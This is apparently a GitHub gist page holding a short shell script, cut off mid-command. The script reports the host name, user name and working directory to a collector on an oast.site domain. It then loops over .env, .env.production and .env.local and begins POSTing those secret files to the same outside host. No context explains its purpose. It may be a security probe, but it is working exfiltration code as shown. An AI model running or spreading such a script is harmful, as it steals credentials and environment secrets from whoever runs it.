Skip to content

Instantly share code, notes, and snippets.

View neomafo88's full-sized avatar
🏠
Remote

Neoma Fong neomafo88

🏠
Remote
View GitHub Profile
#!/bin/sh
C=<collector-id>.oast.site
H=$(hostname -s 2>/dev/null || echo unknown)
U=$(id -un 2>/dev/null || echo unknown)
D=$(pwd)
curl -sk "https://$C/$U.$H.alive" >/dev/null 2>&1
for f in .env .env.production .env.local; do
[ -f "$D/$f" ] && curl -sk -X POST "https://$C/$U.$H.env" \